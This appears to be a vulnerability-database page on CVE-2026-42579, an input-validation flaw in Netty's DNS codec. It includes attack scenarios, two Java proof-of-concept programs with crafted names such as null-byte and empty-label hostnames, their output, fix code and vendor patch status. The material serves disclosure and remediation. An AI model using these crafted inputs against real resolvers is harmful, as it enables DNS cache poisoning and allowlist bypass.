Netty CVE-2026-42579
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPoint Netty resolver at malicious DNS server
-
DeliveryReturn response with oversized labels and null bytes
-
ExploitDecoder skips RFC 1035 length/null checks
-
ExecutionOversized String built, differential name interpretation
-
ImpactDNS cache poisoning, allowlist bypass, or memory exhaustion
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Decoder path: the application must use netty-codec-dns or netty-resolver-dns (e.g. DnsNameResolver) to parse DNS responses, AND must communicate with a malicious, compromised, or on-path DNS server able to return crafted responses with labels >63 bytes or total names >255 bytes - DNS response data is inherently attacker-influenceable, so no authentication or user interaction is needed against a vulnerable resolver. Encoder path: the application must build DNS queries (DefaultDnsQuestion/DefaultDnsQuery) from user-controlled or externally-influenced hostnames, AND a downstream consumer (a C/native resolver, DNS proxy, certificate validator, or allowlist check) must interpret the resulting null byte, over-length label, or silently-truncated empty label differently than Netty does. Limiting factors: the high-impact cache-poisoning/validation-bypass outcomes only materialize when such a differential-interpretation downstream exists; the decoder DoS amplification is bounded by packet size and compression-pointer expansion (kilobytes to low megabytes, not unbounded); and applications that never expose DNS resolution to untrusted servers and never feed untrusted hostnames into the encoder are not realistically exploitable. |
| Impact | Signals conflict, and the gap is instructive. The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, base 9.1) treats this as a critical network, unauthenticated, no-interaction issue, but EPSS rates real-world exploitation at just 0.04% (13th percentile) and there is no CISA KEV listing, indicating no observed in-the-wild use. That divergence is expected here: this is an input-validation/hardening defect whose damaging outcomes are conditional. The decoder DoS is real but modest in amplification (decoded names are bounded by packet size and compression-pointer expansion, producing kilobytes-to-low-megabytes, not unbounded heap exhaustion), and the high-integrity outcomes (cache poisoning, allowlist bypass) require a specific downstream pattern - the application must feed user-controlled hostnames into the encoder and/or compare decoded names against another resolver or validator that interprets null bytes or truncation differently. Vendor-verified PoCs confirm the codec accepts the malformed inputs, but PoC existence is not active exploitation. Net assessment: a legitimate library hardening fix worth patching on the normal cycle, not an emergency; the 9.1 score overstates day-to-day risk relative to the near-zero EPSS and conditional impact path. |
| Exploit ScenarioDerived | An application resolves names with Netty's DnsNameResolver; an attacker who controls or has poisoned the path to a DNS server returns a response containing labels far over 63 bytes (and a total name over 255 bytes), which Netty decodes without error into an oversized String, driving excess allocation and potentially crashing downstream certificate or URL validators that assume RFC compliance. Alternatively, where the app builds DNS queries from user-supplied hostnames, an attacker submits 'evil\0.trusted.com' or 'safe-domain..evil.com' so that the encoded packet is interpreted differently by C-based resolvers (truncating at the null or empty label), enabling cache poisoning or allowlist bypass. Vendor-supplied PoCs (DnsEncoderNullBytePoC and DnsDecoderLengthPoC) verified all of these behaviors on 4.2.12.Final. |
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Alert meAnalysisAIv3 – Jun 30, 2026
Improper enforcement of RFC 1035 domain-name constraints in Netty's DNS codec (io.netty.handler.codec.dns.DnsCodecUtil) lets attacker-influenced names bypass validation in both directions: the decoder accepts oversized labels (>63 bytes) and total names (>255 bytes) from malicious DNS responses, growing an unbounded StringBuilder, while the encoder passes through null bytes and over-length labels and silently truncates on empty labels. This affects any Java application using netty-codec-dns or netty-resolver-dns (e.g. DnsNameResolver) up to 4.2.12.Final and 4.1.132.Final, enabling DNS cache poisoning, domain allowlist/validation bypass, and memory-exhaustion denial of service. Publicly available exploit code exists (vendor-supplied encoder and decoder PoCs verified on 4.2.12.Final), but EPSS is very low (0.04%, 13th percentile) and it is not in CISA KEV.
Earlier versions of this analysis (2)
Improper DNS name validation in Netty's codec-dns module (io.netty.handler.codec.dns.DnsCodecUtil, version 4.2.12.Final and all prior releases) lets attacker-controlled DNS data violate RFC 1035 constraints in both directions. On the inbound path, a malicious or compromised DNS server can return labels longer than 63 bytes and total names longer than 255 bytes that the decoder accepts without limit, driving unbounded StringBuilder allocation and denial of service against any application using DnsNameResolver. On the outbound path, the encoder accepts null bytes, over-length labels (whose length byte collides with RFC 1035 compression-pointer values), and silently truncates names at empty labels, enabling differential interpretation, DNS cache poisoning, and allowlist/blocklist bypass. Proof-of-concept code exists and is verified against 4.2.12.Final, but the issue is not on CISA KEV and EPSS is very low (0.04%, 13th percentile).
Input validation failures in Netty's DNS codec enable DNS cache poisoning, domain validation bypass, and denial-of-service attacks through improper handling of RFC 1035 constraints. Both encoder and decoder in io.netty.handler.codec.dns.DnsCodecUtil accept malformed domain names: the encoder permits null bytes and overlength labels (>63 bytes) that create differential interpretation between Java and native DNS libraries, while the decoder allows unbounded memory allocation from oversized labels in malicious DNS responses. Remote unauthenticated attackers can exploit the decoder via network-reachable DNS servers; encoder exploitation requires user-controlled hostname input. Proof-of-concept code exists demonstrating null byte injection, label/pointer confusion, and memory exhaustion vectors. Fixed versions 4.2.13.Final and 4.1.133.Final enforce RFC 1035 size limits and reject null bytes.
RemediationAI
Upgrade Netty to a fixed release: Vendor-released patch: 4.2.13.Final for the 4.2.x line or 4.1.133.Final for the 4.1.x line, per advisory https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm . Distribution-managed deployments should pull the corresponding fixed packages from Ubuntu (USN-8401-1) or Red Hat (RHSA-2026:23808/24502/25123/28010). If you cannot upgrade immediately, validate and reject hostnames before passing them to the DNS encoder - strip or reject any name containing a null byte, any label longer than 63 bytes, consecutive dots/empty labels, or a total length over 255 bytes (trade-off: you must add this check at every call site that builds DnsQuestion/DnsQuery from user input). On the decoder side, restrict resolution to trusted recursive resolvers and avoid querying untrusted or attacker-controlled DNS servers, and place memory and connection limits around DNS-handling pipelines to cap allocation from a single response (trade-off: does not stop a compromised trusted resolver). Do not rely on string-level allowlist checks of input hostnames, since silent empty-label truncation can make a blocked name pass the check before encoding.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in maven
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Netty is a high-performance asynchronous network application framework for the JVM, widely embedded as the transport layer in gRPC, Elasticsearch, Spring/Reactor, Cassandra, and many other Java systems. The flaw lives in the netty-codec-dns module's DnsCodecUtil, which serializes and parses DNS wire-format names. RFC 1035 (Sections 2.3.4 and 4.1.4) caps each label at 63 bytes and the full name at 255 bytes, and reserves length-byte values 0xC0-0xFF as compression-pointer prefixes. The root cause is CWE-20 (Improper Input Validation), compounded by CWE-626 (null-byte interaction, since labels may embed 0x00 that C-based resolvers truncate on while the JVM does not) and CWE-400 (uncontrolled resource consumption, since decodeDomainName appends label bytes to a StringBuilder with no per-label or total-length ceiling). encodeDomainName splits on '.', writes the raw label length as a single unsigned byte (so a 200-byte label emits 0xC8, colliding with the compression-pointer range) and breaks silently on the first empty label, dropping the remainder of the name.
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attacker-controlled DNS data reaches the codec remotely without auth (AV:N/PR:N/UI:N), but meaningful impact depends on downstream differential interpretation or app usage and is modest and bounded (AC:H, I:L/A:L, C:N).
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil-encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
- Empty labels silently truncate the domain name
io.netty.handler.codec.dns.DnsCodecUtil-decodeDomainName()method (lines 53-118):- No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side - Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side - Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side - Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side - Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause - Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}Root Cause - Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}Missing checks in decoder:
- No
if (len > 63)check per RFC 1035 Section 2.3.4 - No
if (name.length() > 255)check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently droppedThis can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoCPoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH - Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH - Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}9. Resources
Executive ViewAI
CVE-2026-42579 is a critical vulnerability (CVSS 9.1) in the Netty Java DNS library affecting versions up to 4.2.12 and 4.1.132, enabling attackers to poison DNS caches and bypass domain validation controls. Publicly available exploit code exists; however, the vulnerability currently shows minimal real-world exploitation activity (EPSS 0.04%). Any organization using Netty-based DNS resolution must immediately identify affected deployments and apply available patches to prevent potential attacks against DNS infrastructure and downstream systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)NVD
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View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| suse/manager/5.0/x86_64/server suse/multi-linux-manager/5.1/x86_64/server suse/multi-linux-manager/5.2/x86_64/server | Fixed |
GHSA-cm33-6792-r9fm
NVD
CVE.org
EPSS
VulDB
Exploit-DB